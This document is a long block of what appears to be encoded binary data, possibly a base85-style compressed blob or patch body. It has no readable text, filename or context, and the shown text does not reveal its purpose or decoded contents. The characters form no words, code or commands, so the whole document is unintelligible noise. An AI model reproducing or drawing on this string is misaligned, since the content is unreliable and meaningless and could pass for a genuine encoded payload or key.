zq7a%@`%)DMi-5Exh*}Jpav*Xzuqg->3QX9XzyVYek?06qi! z1Q_r}kInf-*AD|G?*bt=X1c)jL77iJ8)r$yU{X0KU?bXl%hKuwQ`w*g1_bO0hFoVxbPA z9;`-E0b(X9S6nPth4A-$JrG+`NyZqg)}hYuxS02u5KY(Qd!wk}{G z8TqPVP$KZ1j5Jdoq(Ms=BG!*U_yJ9TIvM*8K*kUe7ZkGn9KsB>Kp`0V_TM3L0##@2 zrp{M*X^1lzVYrhUp$v4Z{UG#? zgn$gT0twC$XgS(9p-i+hj3FeTga~@GXaMw+VJBpOcp(#l^aIk+H@3xtnPG?+hwT&$ zKYv%6@2E->YzBvFqz()IMrqmuA^)S&bUz2!{hh*uQ{R79n8B8RRG93nV;D6-OHxAy zON=l`^B)7^>0*Kbcp;l^Q6-LpN*oINC65RcEv}~X?nN4$@|oy8+YOO(EI^wvB*Z{P z^wkug3sRxGUj0#p2K?cR@BgGv>)=577k!F;F>2A?#LR+fkV;NPOrLJyv}ETd60X`q z6#``^R&fg_3Gy5);26qjgi0?VFEU6291qCoU1_lQ$N(bZL@0$g+AhU$zr@F|zNz`$ znBpN1Lj4YNLP;BFBxK@{2S5Zc_M>4m(J+)N81w%+O!Y6_<^2**_$40oOFa0OxYsXn z`(NTl5C<&&87{~ch0X>H!ki(z|F$l%^sUeuiBrqQx>NcAbW?_0B&4Kia zP`Ti1ggOE0v?=_)FR*vM=hl3i#4h3 z1&c`#`F~A&WUL`;8HJ!ssrnO5R0Pm)V!~vWDv4V-?IFtn&Uzr)FppYlHYVrnoSIZ3 zVwsCG;giIOtOHUkQFwtDormE4Gic7>icOIOQ-d0)n~WhK0DLm@4_3>P$--v#`wHY) zToN(&{r0FzAw zWC+<7>?H73A@kD^R4%z5DvUvhDuWau^PVIgMePI>DM{K3;*bx^jtE$gNNBf3Cny+! z1gMa}>%(pdnTD`9u|tL`stzY05;P%!g-v<~02i(#Q1zV1>U$5+1NambdIE!&$Vn(d zCOSJSaSfuPAy82yzYy3%)oRh_|H#6B=O4i*^6&K7l|Sh-)?gS55zU?&az;@@z62}; z%&2SRRLCuJ)bBNF6 z-@AVPE z2R+R5C!Iv_FortpP1~LmL7V;#7XoZ6el8c}ov?7(j0TewuKS<*} zGY`!Peu;pT_aNA4I6AO_MZq=9F_qu5oGw2dc{DMc;Ver~MoWfujEWD4n+PWk8x8X= zz-bz-0ufFkR-!&WQ|E z(19W_Uu<>d0TxzIOkQFR~G!hK| zi~E3pqk0z}Qt^CBRlPgmDePa*%?j(gGA;E>OM!HyoYs=4jte!JV85B?@!RpheI_UJynKuz)ow#24WXvA_sPHDOA%D zLfHLzXkH)t-I&O2#v*8F(sm!Oy$Bs$Av6zI0AtYlE%XOR2!}dkbQMB>>eA3_0DAfrpOm;37xPATk(wWMq(5L)ZuT zpivEx1q{N?j?uR`A06(I>52Sad}w&Ur4eO{3HGKXEJwAwxj{{UK0R zgU6401Qs9L16xW#MwB9Emf8QoENg~aL}(6O8P>xXLew#Iz}VJ7d7$+4YBP+WCAb=D zVPGOUQzE1%0nh~C)%*ED^oEBd)Jb`3l)eH-8 z)Mc&~M*-LigrHIMoOl`B+)#SpqR0y>LG5lB4!R=oRb$dcZh|3~;^5ISETqe${s%*a zSHn;cN)s_6Ax{f(UE5b6rwN#PdJ7p|KnCaya*JkRCM0aWl2~W49 zS*{G-Deyx%)cp+mAaWYQDGpf-*b$%`LWpD95(J+Ndm-i)LS5Jop>aW%l0TqU0Ki-l z=0~Fx5z($mT|j&|Yvx5s!X_S3>^GrUVp8C9;{rd0E^}$ERCWJ^vS=$+gJ(JDGAi1nqsw7;xiXu z5`jo}*&6m*L}OJf2A#){4v_*|4uc659%5d zplO`brX_LeMMvAQJ%r0&p%jbfQcpXGwSU94zv2AdHg;F?5+%c zeg_1TodF@9v3hY-V6{hg1|Ot;Uyg9rWB{>pS+T@vw2fm_{inMzWMtD*KI75#*dy)V z?H7?kn3;zNocQQrv)TZX51;S={SU93gZ}XT?1ixC_0r2lo7a%A0*>|v{AzO(ux_c| zVh!&CFE9%9a-sfT_KbiD?=NUC0Y&|Pzjpxn(5C$BZczdFLAT#q^JkY)3g82Llx}`H z5Ji(Z^D4<5bd*bjN7-S3H4rkB^U(uxrw#%SB1md9g&_%HG zM<|0EbaZn?M6)P^^0$EBce<01i*k^&qmc3w=cxoQm66e933#i}0T1nQ=)NDhbPI)C`Oqm0i)*)+F%*>J<7oQ{@<6$-x@)e=B5@F zKoY^HveLVpDloRlz8n)@#0=?*;`+ra1@F&DCLtrAZd<``dd)`;oj%dyHrO!`{(xp1 z(6ss0UqM6;y1%iv|G|HH5mQu44!^(nPpciUxdKbsIh(Qg@BY&x#E^!RWPfebLr(bFtsK0GS;&6#QrZ z9*3J=$k+;rf4Ug>cKCN?y>u~9VDLvm1T6el^1KqXJi>4BK7fCxxk4%NfofKR zgXk*8eK3c`!DIzD9G1phQ+%3O9LY4hxEI7hmNzYfmLft%)K)E&-gUse!2qa2?x}%e z8uA#ES?!@1zDe3cONSKR0JH#IZCC{TNc%%kelL9>gCuYqbfb7M)|E&zx=JvFYRE-= z0z7BvbR^;mLShKlPw39p5aFjP2?=sEKZt%IJ9L~K(mK3(2wlFvDjET=vEr8 ztH=paSY5+;=sVbp8i(=8@az%x&=(y0usadhT+p!w-8Pd73q7|{7nlc&6FAbbgDzhJ zHVBa~mO2)&Qwi=$|t$2omn!qA`&?NqbJ|h@He@~w)s{ckG8Y=nMQ%R4}haYeN z>G+jCEnhI&XhI1Mm<@a=f@q|Og}>5h=`IX~lqGq(1S0-l$dl8t!4}YF!Hex3rT&|? z41+$<7QUm`0Y)(`Ji;{qubaZ#AS{LOl|uS~_=m#_+UP-U$HQ@13b`TXbrV$F|}$As?+)g>HyNX-^Mcf<5&Zy zqlOps(f2mA;DwYNv@z)}NV@_m1EW6Rc!V$cHIvB!>TGG4-yyYJpiD~(-FeBCIq3|n zKQyvHCc{sGio^T*9;@N~Z6^U}aulm##WFzajS0xmS>2-pQPl3pZS)71^1zPiA!+tG5gqj|sp>tq@_Svyt8 z?=*-yXes}_1LDA-I~tOg`hM4+rsamF#q*!1rKa|8(_$VF^ZI>S<(Dxk{mZnNv1#px zwepYCx{P)5Pt#(yA`YkaYd9bZv_hbne&eZ#dJSzVGbpOC$?m_Oc}siK>+6N@)zHdH>Kno9(y68i71D3*0F@Bmi7-kPDxOScn5 zDEsBs3`d>#;;k8aQ{vCJX0mXG{Pot17bfx7TQlr{k52bRdqFUj(d9KS5+BfHOUVDj zwOJJP+AQYR{T&J1um9+Cxp9*@+_+wVYJfa|=K$dVUI08$j{YrA=f#a0DT5GjtC$OupK}JKpVgczzg6ez+-@9fD(XifC+$~0IM^( zagqRv0IC4`0G0qA0Ji`h10)0dNaMyeLO2XC3&5DgjpGN90oV(m3t$f53g8bA0T2U_ z4Dc3U0N@7zOEx!d1Hevz!vKZ=mH>_b*8m;^2p7QIAnXJf2A~BRu>-6HkN{8wn9AqI zeFXRdcy$Am03-oK0x&{*E`SQaGXvVo0DV;ebOFo(907a*A^_e1lmYYtOaRd5apTwk zRs#qF$N;DU=m3}ixB}b+NCIdD_yRx+c(4KR0*C@^2T%df1uzG21n>ul1V{s@1wj8S zVIGD6=${ARjs6)fhFD_p&u}@8XjX|M3QypO3bQz(WH=4FOvnC}&ftilDKx|c$Y09) zyO33D+8pJh?avON`6f56`7(9Pr7|!Iap<*a)i9W|54G%;Pa%A{!KTDiz6t&W zE7h~aYiepezMf3j-nfGvobH%+VsMV$^3A++0`S4G#o89jHga1 z5N5xz;seY0ZRJi7PapoMWYlo(ti_|6k96_}>gf;7`>@tpr!0Rm8=E3+6P~oUu{^U) zaVG1<2b*RoC&RA&RjiHeWQCfz7m_W)vbatyFRi9BF5~Lll*#1v0!6QN?}TMk5uRkH zMW)e;;Qbj+Cbh7X2o5qQ`nlO{S#j8s6vtx#z7@vI1eXy-QZQxP)GS}_kpAL#;y2TUD)|1I<gFb(kC!Z{_^z zR(H+paQz&~I7$7zR*I}6E-SiMGP7RkNtaqvShK>JqMFBZlZ|y&gQxfXXtCX{;%^aO zoo3YPAWpB`$49sA=vuLqJN>4_*SjM!mcZQW@a=e zXkSh$cSBHu(Li)#qep1X!=i%bo!S#!N5(BOYb^A#VmcU8_8gK)Qf(DuZ9cqa`Ku{4 zIvJx2^h$-JMqS6cEMiB4Y`31zIjwT-wQ=QYig{L4t(}leucdaF3(H%&1I(G}T(ldu z2s0eZk;^C+Va`svp`R>9Z}r;n=|WS%)~f21fXJ53d@nl<5(-T33QwFGz87ufv^?|- z?K4KEdwXQqhI}lRom;7gW4NT28^&=Vt@ou^;>De7-mu&as=dLQ)6kbX+U~Z#tBtw7 zw$68NZ~gf6>kdm>O6$6JTshtb!s$~zE(vxn2U2s7o&c0fZQ6U-n`e;mavLJ&@bw(&-)4NT2 zojSP|Edml3%wMOe85hy6u{?fL%uaMi4s-IuAeO>4T@3nxqqO3n3UDsVByW9TGv0iM zNh@R7nW9zpR+HBUPd$;2G!2VpYx9>n-=6lkyJ2wc?b;T9rZT9i7U(v>#hx~A5#dGjVS7p|I>4|C8M z9y!Hm(=tm?I2DLz{U&G2Uv~I3@kE1>(#J;@XV1ygeXKb|Uw@#M)o1?6@)T?7l-Sw5 zN#QnandOZyvSt*enr%Mp?=p01Z)B~Ct5F~ew@ALw>cq*GHEDU}RvUAzPo7NCeO)9_ zl@WF)E&B;Ugf=bmB!fS`gry}Zk$F&Xi=CSv$@1`ud}F@2H|F9B&h1LUG;L=Y!)y7o zMjMEtXA^y{FuqAy_aOJwQxqY3hKWwI+WK5Dx(Rv@9g>$UWlrszyvaH4aDZBt8mctUmfhSH|kWb$hTZi!@8@6>EVxx5UU_>nXUe?;!~;uhfZk6I(CnTXd+s zok{Pq3(6Ut;ZDujXOs}s(AXF~@USM-V`pZAyv$f>D>zXkn~H*Rid(L8B_CbIw;9zrL1bPFXEvR~w~m*(>vw#U(70 z`2gJpTCVhC48mKAGvsoTvYAE1lJ##GzP6$-Xj*uhQeCxmb4z4^LFY@pyQT#R!>1;M zovfno(VhuievgUq*$|t|o^#7Ad>C+gE5mZtF7>8e;JBD5_LAkznw>XlgYNb<H!yjyng=z!OGs8QLbVI z4YT2Ov&e;Mlb5HBtrzOJY^wH0E$?-0Vy*q6K~K@yMfbYksfDm{wGr3%gQpLu@3wVm zds${-^!qn(+N#RrnAJS9^W2D7s#cq=jrt{#0IDk+#89g|Tl z!|<+&F;u5hZ<9caMeb|!3lc@fYH7zU*U*aEiQP7O67*1?p=*se?Pwrc|0;48 zX4jnGS5&A!dqo}^(O6e~RjlE@z~#^w<({O*w)>MKS<}0tIQ3lbo|76%fbS_S+qCQxtnCd+~7Pm`tDP8`euSx83>NYg8`qtYNN8 zJuaDC`~KG0HvjnBx_i5K&(OD#?=frsSgme-*V9i}syd(VSc-P$3LOqF=dGRZx+24; z(&o~AH~KAPEA~o{4XQg-28nc^sVI-pjelXYhMrE8|CG7Job0S+-th;I0w*Ouz6m|% zLTpOjDwa?)XTHiK`?$xNd*VG7tz5peM1w8yx<;yH#U(78DD&2b4<;0RAOt+|<%*h? z*1Y>bGon#up?yRv;>aP+i%jvD-re9NNlwUhA6qx0a{Gc+cir91ZOK3TZ}DkG#b4O&-O;C7+J8x$ zHBRi(q2R-xnq}~ek*s#7bQDY8vR{1ojBkv7i$UcnwGiKmzNYMWFXc6Z#$nQ!Wy)Q^OzV|OlO{*aOPx_fk|K|z&=(Ua%N;w%gk zT-HX$30u532B>}&z#4!;XiZKS`8rTqSn= z^=8F!YpaX5*rH_iJnUyB6*Yd2TW+SI9RWwGHNW`WpHV7|iG<&xX)WfG%Z_Sy<{(6dcMjF!N5pxCGsHz(xcVoYAB(k107PI1rGcU{>IsUlQW3GG8&OAT; zi9m^O$!`t@hm|xA*UcwhS(U&ed@{gu-&=9HM_0KFOBD^iSuz^kV5QBh3{m!aF&XrZ z!Jur)WVeB)a2KDoQbv>T0A~o_b^C-fM3yOCm(%iVI!i9_r$-O^&hLGd9kJ02#89A8 zXGFG}>4aOGt=yYir8mdoqsC7$e@uE#l z$DY93{iK28apMQp1mD`Q?od?@**>-{RDs5^fzf=0O4Noi+}-_Q6^+BP*G2+P#^2`< z7>aRFSwGY|Xi=SgZPIz>Op25jAf~^VPlwAUDtj{iy3!0lZ9I`avSuSDZ zY4=gQG4Byq;uDIwL`(7UgIVyn+RB4se$K6dg}3j$c|4&z$9kNYXSI`K&9=wd{5tvJ zXXb4?bt9P7$2vbVSEgUj_a*ZCWxMQ;c{i}Dd+NHOXr}O28!x3>3&IR8>3k;a4w{wO z($+7~LpwNQADU0ZAj)Vaj(bo-!ZrvzOG)9;@}4x;R|* za*mB>nL8=-VskM8J*;@4yX_a?^ zy`zWDDWz5h-}<5Wvi))1VP;m9)v?D)rakX!TF4hx`wUs>)~QN0Zhdh6IH6&E#|W*z zLFU8iHnOwGFkao>=5s{L=d4}cRwuqx^cX$9VSLF!?o)mBDGQlp@#D{wznwi4YWST` zlHO(E(~%$f@!W0#7jkBuTKX^CX4}xDcH)9w?3KEjpP~U;yz_aj8&bpd^NhB(-zq$9 z=*aQ3Vn}a6jmb;*?MVT)!`YMjODQ>g2aHcA=kKT(R%+mrkGN)Sy4p7D-MyXb!gyQD zI&XixnyvoL-K(!do$V?R?F_H)k<6z z&a}1fNL1?U;prV(a+=L6BJiZI>JK}ge3?0MU{_MZd56!(?mpgE_iovmqg$#QiW5Qu z_iHN)7Sexm+t)9-qpbOYovLhn$$J~NNR6Nt{SQa4(4I;>5!d%={;L^-XxbM!qi)-l z)Pn=pIaXMnDeU?=;pOK+)RUN2nRIr2ETHf;;}1f4x2B&bCGq$rP`AOKB4>fgD4_i@S3IYSRWp zuI^mEpb^&eii=a)H8=EB+ozS@EHA=yRVI0kha8V&mSR{t*jMTA921Jac~&;4pw@(q zpJ9{F+9PKfeuOtup38aBsSdktU)98)Jcqj?6(3!bbi^@Y*V)|#>7j$xdy3VzmMtvLbzXgOUnf|-V;JdIV{Rh|cxY&MohXAYi}pHA%R+`>clzoyt?Wx%Yhv*Kv& zo03_bZnH=Av`OaYyLxxeC`jM-w7ylfa7F2|V=8m|r4_)+?e)bDE2mJUH1fX7|WBc2w~pTK_$7v_~n{^$aE*zMmPJVwpb~&wljDa$_@H zF44pCQj2?phi>|Mu@AegL(}~7^E13dRdHXhu#2yJV;C(l^Lae~?hY5R3*JIS zYXg{t78J-8_q)6J-E;%1I3^}`eN&EVynRPl-g%2-9lMae)YnjaM~Fty4*Ti$X2~>_ z<27s?Nw4c}khIP6Qf2JE=r*-vrKix#9@R;*%#!EgR_ln`|0LJF@W_eEkSN*wT%|Ub zk(cSut(8fC`pN>MSw$H+b~!@H#G*oQUbT-tbMP4lNhiGC|wPV~JU zPo}>RZD7;c9v^5Kw0ATGAInCkf53{#F(x2a_~4*PR5ZSR;;`#xiJNyK+%C=?mySUBw!8l*8lQXB!9c%Ir{orFUzMC$P=&xm> zSyuTe(c=!jE_z+B6sJ0??z&UMsn533H8`dYZZGI#G&GMG%dRe4*Tt&wZFeT`YW+m1 zxy)ro94)Q=KX=+BuTZ^dS^jK;tZ?N*)?3koUj#JvG~2uJDWNEH!f*1ujWl;D(FW$meUKYb_S;(c#N01L zjb5KSs&9Dzkw8`1beo@+x@-bpvPQ$Qjs`rqkz}K%^C3SEw2kA~mnU^a|gx%^I zUY|J&4XX!di~>B`q)d4klY{0H`i;Xl?%Z~KRO!m)sea>o`8xN|!mantIh}GK#`fJA zUz_TjctZTE=71-!l=RG09VKp6>J^`9-91g*+k3U<8+7Q{v&Y;%8mdSz@4g$`(IMW^>g4r0hr87t)Lt-`uRyoV;$pn z-Z4|rh}Ay#%D#>4Or>K9>KnE_dW!LS-`2sQ(RKLcWc5#$mn&JXNZsk3sn{>e!+j42tdW8b2W~6PA2Iv2PX-$1ew0V9UmH%#-sQ?ISZ<|3t0rVJ=#2e@RFVED8rDk zlWy$ux|&(3Xo>V0hGzdleKli=k}FEjje2^?yt)>zTrF)J#wA5 zTX@smIQ`7bfe=1Ei~%~{Ng5d6&dN|D9XJbp&PTbQoS~-#(co=-F4oQ$hS>K zt5$vN?b6?(OzL#(WWJy4dabeW^NTS2VX+lQ8(p=-?H4A^RF0><>~7um?ZOrN-R*30 zdo?6nuM9l^xK#XtHQ3a>Ge6N-`h7?UfS~XDvKw7zWoU9QsyB)#_pQ>{bDXhgL%G%)zuwk z*Yht|;@D?ba&pgnKkuZ0armozsWwxK6o>c8rjiWoACgb_Cwvc+*pW4u#l5g$b@0XW zUWGf8gq26UA76T@M#~_&B3$=$>+YHjF)zlA&n$QDlL;1znU{GqPEs-P2f1-<#kRE+=%dDkTtjD(4IfZF9 zw=nIF_{KXIMYRih&aYrP@KfKZp>tJ^1Nna6;POt1BZ16(?+&RpTEBf8IR40`(C>J7<#td2V1Joe#Q zwTnfQnxG)>aP;^VTeGB(WxX=F+KEn%lQO&U=3MTDc_B05`UM$Bf9&UdS@G$lnT=7~ z?x}6z-!zl!t`yu1-fOy&W7SVZy;@S~rJh!rd{H;w{b&0d7&8>L)k|v6v9UUSyQ=#o zru@F@dgC2;$2R;>aEW>PRIty6Ci*2YlrqvLO@G?!m7eG!rs@UP0Isap;vqW+QVT8$ ztk^Gkl49m?Q>gcQRc>N3{VJLMd#B5v=v8T~XF0}aQu;MwQ>Jl-m3^tg7qR2E@!fNS zu65_P$nkW==I+}+_rw2#Tk7Ol!^u5OZT6<>{@Y#+5$-bV>}-A?Nj40lU%u|dqd=Vv zlJVSww?speSk70UfBus}O=PEvcTjFYE61?+iX`ibGyI3H#Q45to#%a^A%i`ri1Ul7 z+*dCjTzWLZ;IadLW7Xu#;cHK~r{ei z!RcEim$o%0~faizu&&Y$?AgxpmG zAGHNqTsk@$X$^w|fG6x?^6_BbBLDc#E2>3rq3&jj06 zjl{Co?xsgL-)!W)J`#O*lW=!trhc3}U&w%+Uxm%UdYUb}CgS{Zbc~8d-peUkS&q@E z&0bS|XLx`)vV`~gDx;>iUA-Syk(9USGlK%S=9+u|#pl9CvBUT<*T$nO7VN{dkE@tX zwsyZvy>j8(Hn#TN_7WO<<(>^(ah*L^`@_9{Rc@xPsFnO!&n7#ojQD}KXTOx4V106A zx}={M6u{jg-SukRKd!t>+))uJW}~qx@G0xAb!{p+=|qMRfkWO_K3)Ycmc8Z{d+4g; zDko6AaDO1Qi*U1<^z7ta=56%ru7y<@I`rwWP42s={DsIF+-|tZ7rTUs~ z#-lD``@_ER1hXHlt5YiX*DJBx$I(B(=cKX0B(GHdtMC*H(>BxO_YNP}86*?@PbBY< z2>Z?r3Ltp(hJ`|}^B0wclXhNu>^;IjtM*bie1&Mu?$*=eFJd-0FF#`}6fD#CNM=4J z<67l_f+#M|Ho;)aAXl(W`Q_n_8XGp6@};?TN32baHoSM)xlQ(nw0{&wB7w1MV$03w z^jIm&*}2$l9&T*Y3h^Dv)lRnuYXVvn-zWaekBsveh<70kn z-KhFtJn$`#p33!|#j-`Yr^fw;XP(nppEOpyxn+iZd))`n0jL!^oR6 za@!h>)ydgDEy%y()%I_|W<%BY2t}A^Uto^l=T$G?%sGD@rLIMt1bgahvt_ zj>T4glp7jzJ`m+neeHvwT9ZZeFt4DQ?UwQ0vX4oL+PN|^la5YY=J?$qd4=u;`r$MC ze;m#DRPmD6$j0pCwyE81$(rB7Zx&psTWPvCSn=m7j#5&s9!+b{C0{qu{D%Is`?VD_ z7|+#~sDE>0WsCWudv(3){qnK9JB(cverynY`ZOk*#-@)FN_Zjq4p1tI2uwH0KA1^%w?`&EIu zZo4KXI2xmrzsU>Vxn1YD#aT*Uh`j?J`gKQ;Mo4q}wEc0FG|40mwi?ony4R_BX4<-6 z>}1ljTAGf^(x+ruCh4egbICv1AJuWB&^*wilyLd?seIG^c zrD~TuZ@nIO=hQAWSM_ZYx7Yc=mO+ZYQTgStX|kGNK>v?oW25y?gQRY&*zw-q;H4o} zXjL}#&?iDsF(c64=vY^YcP@F&2TkU9+C-tJ<|kZM_$80O?K6nJKp)@UX|p%TGB6gO zGI~ItjxENK$?BkRZa{RD$>8CMdi+g^&8`>SBJPCD9+>lp9bf&xch1AUUj0FYcJRCt zPMDYCdCAd6e0!L0+~D`qGbg$Hn~t5c@c9rLNVj|3M9ZJ}sj^HHf5#)ScU^QHt2(FD z@TqmWbX%XL4yJ-Tsjp!BScJLZy0Yr*ZyKy!t9dhb&q*cfa~Lhl{Mp~yvLe}LXSwA~ zRbkl;&)#M&R0@1KC|Z!WPec61w^yYcBJV_0A~$#Ll2zVneeFrxh*s(L+)u&{AtQTb z3k{;H_xtAW;g;loY2ELwv`f<{E;o=?c|`8RlftcjY9W5+QQZ3UNA?f*rOT=Y>RSG^ z$@(I|b~Gz&H0j2Jfa7_atWs4b@g$DDgI;ABckCiqTzz;+S{UkZ%IVylzF4Aj>e}(I;wKV$JqI+WW~8N7 z#Zl^}eXgW(H|^1#*XrHQPN&oG(QPc7Swh9IC-&}cwpsD6(fW;e);}$}1K(BIDBSRBm*Xjox`~|4@=^GA6B#hHT_n0&xbB`=g4qh z5DVj}qqc)v`>x~HjShWMCogBMylmNfN9u~~{)(9fZa1DiArCK97joa-I>NWmnH#ru z`z~jStp%ck2$8(R7_1ZF+dt@~O;;a8`m&zNsn^^)yc} z&N3I?jLqKQAz`E#;?{_r|C@TfNRG*jXGLWO#LM0! z1Vu`&BD*Cht^Oc<{T)qAldT@VM|w(>@YevbGlHk%r2Y1Y-_z`fFA~1&%rS00by!={ zzR#z2EW2v>;uH_t+{;Xo`!bu1`IB3OtV5dPCojWvoE4VVX{iWg$=EHf9V^^!NdQO)dlef^kJLFScs9L9M^}L3oi8W`9F?a5OCveahlCxyM3Ymgj&;vE3tYPM1R)Q>vnq;6=< zGs@EsFTB;hmBZ2SwBAs~Q!gg91%Z=qbtkhAv*l1q_n$UCz*n&&KbfyVY1sN&gnX9m zYSVQ)@4YK)6@ab~8 zh4E|8MOLy*xW0cV^J?>YTb2t?OWVRXJ_w0e%fT_hw}|dkMAD)yzE`w zzUnPU*Mue%Hz;fG5Bx-5C@9&#&+S5U*^YQwRXaAD_a!Ys8j)9ye$YRWc#3xZQ(v4Y zgV|Rjxi4v{Ew)`Vb-qdCwmbP=DUw_!(w2sX zIRXJWyDy3iq}47g-+A>_Q<#RUG$&WvsnA>&@0Fiaa>HMQ9Os#oVvaoCH@KD|#@WB} z>`i=VZ9$MM13#O|k+nXX!hbNFm3vNU9#*CEYFf436$c6+I$r9E$;^LAJ}KQ;mb|mM{kM@2hU+o{LYYMOW z=vQi(@4sPk}O1$Pz<}t8p zQCy*;&0O-P_NZC6&TJBG{iEKl^XAeDGrMnDd)`*MvQWjG>Ug>R*krpW-8rY&o(b_G z57Q6w_daGms4!ty73o!@0>%H#nc>kH* z-Fxqm+vr#S&}8Bb)G%E$i9Vsj8E-Ur9oeXZ-`fXc9Zeo8fE$*e%iQ=XUg6y>INls3BPJe;~R8c zp(()UY;E>K>fO|xV^aw-KQb>Iz3U}kRba65`4b}#1{U#TBWtb+?=1<&A5{Z39_lF> zk?@_5(_R&Lb%)2Bx8Y55jPnV3ioBENb>~Bmhc(I)Prg1bw#s^3aWmVki&hW!$V3&9 zSo?)|dgQ(x#IJ7l0j6D&FUqm=AH=O0ov* z7-IUOS$#xl=Dv?$WK3akD^4>iTaJss;oNTJpdP_BtdQvtz&PK&;n0rs{q|=`G>yFq z<|B`9R7Kf-kG(5$mX)}X!%ECJv(P-Q^YQVKJ>7F2`hIykzexm61Rs2pJlt3kb|rDX zPM9ZQ)jrRFlaJ)Y-)K-N$&NG%p)1T88^$(7sf6vni<2F0tT-7ka!r8ae!Pl9%+O%#(E4lH)fQ)F zoG0;->Pb&`;9Ltd<#sE7OW3;pMu1C@TuJtj;r!fk9s^4|Pa}!EM)8kN61g6=NSITy z4jwOF*-a!k`-vUAT^QIp@%YWX!joF^1Qty1xo%ir!N4vTC`iAU3a!rrj9_)UWIOWFmOIln?QffQDnwhb!xQ(5Y zJwM!=+1Q-tH?}q9S2sRq&97u?V|EUq{`)`8wK(`WRC<^UJ+68KiZj4Nlla9rBTSTk zF-{NpL|m{ij);d4d=Cz<2|&bg z;2m)6%ho~M9zYU@W6Hx3m%%UI;*9|KAsq!Fs_zA$2;des18nIU8vKoHWg5Tg2*0hA#<0PRtKh5+#DIa4@}W7$!Ny8*~Ux*6sJ&x+!005(H94MG-x zYXFBKJq_*QwHdrN06UBy4dV+y{2YK3lo!GH@MaR;1YiTCA43RFsp2mI?1l74Xb%L$ z>jS`R-Ap%O{CyC=03ZwLdKiBt#H|2CA)O2%qUTirHAqiFd-yO1UKfB1rwCJ7xojK6 zodIN^{4I|~N@1K`pP@bC|8W3#k)A1Hk^kbxR>J%X7y0i1Y2X7>$s+#|O+hZ0Vj!dgpaATHbU(C5{5JpqIy2o` z10j;90Dwb~o`UvhK6(J~?D%i|cY*W{D1X1me+x)&g!D@Y z(Rh9U2O#|g+9P_N1b}tR6uHQMPe|{9bmt=f;i+o;7D(qnh~()yz!6CQ{159tANoi9 zHv-^?`VS$*0eAr@Lb?aa5&ua5Jdh4qmk^h#E7J+mkgwVln>wg^DqxJkx z>%V-F|E5q!5ZXV35Y@j7pbY6jXpj0c1mK1Aokjk;L0TTtEsOlOf%Ilbr$fjBa1G!v zq~QVee_j8@i~Ki%`WvAB69{PmE&=R?bRV=w{Llwj4e78&{$GH!ETkJ2`ELbjQAnpi zi0FA0Kn>F0pgrRMKdt|Fi~Ki-I>Jyt9zsNKUjP+Ik3f6G{}TXfA$@<5{~nOu4e5?W z{@X%Y0@B$KvH=7EXh3@YKdk>k=pW&04Df$Q`wp-snl9W$x(d=!6bYbMQJP{2nNS5m z!2)8XhNASMpePaSqGIogDE5k7V>V##C=kJWh}<)~ljz6y=l=J(|HRjK&zvb| zXJ%(-CU7u?^t*u-0P_KkAXkAN+cOc+1?07Dp8sOf|B;~Y1NxJ|*xsc850GmiKkiR? z&;M=G{{l$U6Ve|7#_hEb;0p35$dCJfD!>@zt)&0wg6shDGt&RjAX|cb5m*DT0x$~X zX2_49XL-;6b<+PKkj5O+?*qo^GXc&Zzk~d^|0e^wg1nLR{~VBqgIq@Xe+J0?Kt2oH z0k9n43GxrfkMBp`^M9Z8e>kM+1?i6gQk|6*+UY5q zQr(mlI6BJel##N6nt}3siVvo1DYt|C^C5p1oWHZSvMSE6qOTl;^9O1vE8+Z#ddk)~ zzm<-%2F~BnK)Ha;Pia#+cuJvEDRoMPY7gt44zLF52u_7H;5R}vDFq5FrXpiPViOVs zAxWGlK}>j31Scdy5HjQM_|TxFAZaX)pBWSt8OjNbOiT)j2@!CTVq-aBK?$7TAe`;r z`jFUA!C&!Fkx7Dtps0b;+OW25nTec40jyMH@&C-jYNdICBW0E+2;u}mf9Jzhb1W@6 z(UFOXkul*MK}@J+Y?x(mR4ijEg-wqRib<8;dThd<+e%E04vvjVl-aSS@5F!V?V1%N{xeth!6yY!WuOsAq1Nh9h4LjK_$n`h>4vQ!y!6Y|Azln zhqQmBIi>x>_QR~mn9$f+oW#i40$DjBvC(k}0=Vbc7*4bxDIzu$Tl0SpF#EuW_yd@Y znco|dGCZBw9kmQFyTEAr0~oR}!u|j*DJ^Xsc&yY_+ADWZ>ZqvEPE!GoxPJy|oo(xp zmMtw4W|L+0YhwmTPk3&bOJqzFk zxC7`9I1Gpad2M`110e%A%0P_Kk zfC7LiU>6_=PzlfmtOkq$JOEe&P5|No-vR1?r2r4WO+X*O0YD_+1E33FGhia%31BGT zJRlX&2v7zr1h@jO0(t`S00O`pfIeV7z!&fcFbHrOkPN5?XaH6KMgi^uECELV(SR=i zW59O6RKN>>1K<*1E}#XV3wNNapiZp?UJE=9cpPvsa51ngur2UO;FG|Kz=^=Mz_q{~ zfI9#$2VM^B3G4}c8~8SGKj41Ahky?O&j6kQ{0aCIa97~2z*~X00#62>4EzlE8Srr6 z;lLMxF9Od2o&($r+zgE0DyqPXffoah03HE+9r!wMFW_Fl`+)ZWhXaQLzXN^;YzS-! zyb*XK@C4uqz-7Q?!1loQz-NKa0?z`T1^ff}2XH6gPQa^xR{?tidjsDGz7ISQcp&gG z;A6nCz_GyJfWHBo0Gj~s1l|c802}~Z4qOh5fDteaOarF_rvtYFw*uptfDhmR0s&e8 zAAl7g4uIdg?ttEa2ta3mKVS$T1)v0Q0rUWb0`vgm0d{~SfFhKT32+8n2ABhO13~~* z06f!bF{4-+%2tN*l%Wh|n3t4c?oo#MMH%K0W#+wa1gruu0B8cb0~7$-0ChkY0RHF$ zGyui`MSw1#1E4EF6<`RU6xt~&DJd(fKv0FCMuIvC?c0P7Z9>QY5;Xox(EJ}mr~ff9 zZ#5lVT|Ef;5DZ8#B%yPg(4|c<`Y)mDe+k|G$6)+F2B!a&RiNM1)!Vo4&;fTR?lRmh zxM{UW&?Z5L1YHtvyZs$-8~z=n?I~qxyGprD^ZrY0)7<|O|4Z{5{kP`F?|!^yk*){u zIt8y$q-zuWWa705UVp%j5S~%?_p4zS56>k9^92QS0tNE~h5s5G%pnxa8x+hT6wDhG zB?ROEB!CLQ-=S^2xK3Ojt_#)-%z*?d4CKnRcku+hT*j{+*f^|Z3X^t2QpZ+8G* z!39R?X?2EpTrBL4nK*o%P2zOn8n2V^-Xc0KC@C^HO2C;ZNWcqHoGv&yEDYAbf`o)v zI1t3?5+NosBvKHQ1Pj*a*o0Jy*>#Wz39jtqa#-03Sp6bcRnC_!z;bD}1`a#~40*`1nO8CI>}vocs0T 